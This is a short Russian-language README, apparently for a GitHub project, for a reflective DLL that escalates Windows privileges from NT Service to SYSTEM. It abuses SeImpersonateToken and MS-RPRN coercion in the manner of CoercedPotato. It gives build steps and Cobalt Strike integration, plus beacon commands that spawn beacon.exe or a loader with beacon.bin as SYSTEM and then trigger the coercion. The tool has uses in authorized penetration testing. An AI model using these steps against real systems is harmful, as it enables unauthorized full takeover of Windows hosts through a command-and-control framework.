
Reflective DLL для повышения привилегий от NT Service до SYSTEM с использованием привилегии SeImpersonateToken
Повышение привилегий от NT Service до SYSTEM с использованием привилегии SeImpersonateToken и функций MS-RPRN.
Основано на https://github.com/Prepouce/CoercedPotato
Reflective Loader из https://github.com/stephenfewer/ReflectiveDLLInjection.
Склонируйте этот репозиторий и скомпилируйте проект в VisualStudio, затем загрузите dist/coercedpotato.cna в CobaltStrike.
Сначала необходимо запустить RPC-слушатель с помощью
beacon> CoercedPotato spawn ProcessToSpawn OptionalCmdArgument
например
beacon> CoercedPotato spawn C:\Windows\Temp\beacon.exe
beacon> CoercedPotato spawn C:\Windows\Temp\loader.exe C:\Windows\Temp\beacon.bin
затем вы можете вызвать SYSTEM-вызов
beacon> CoercedPotato coerce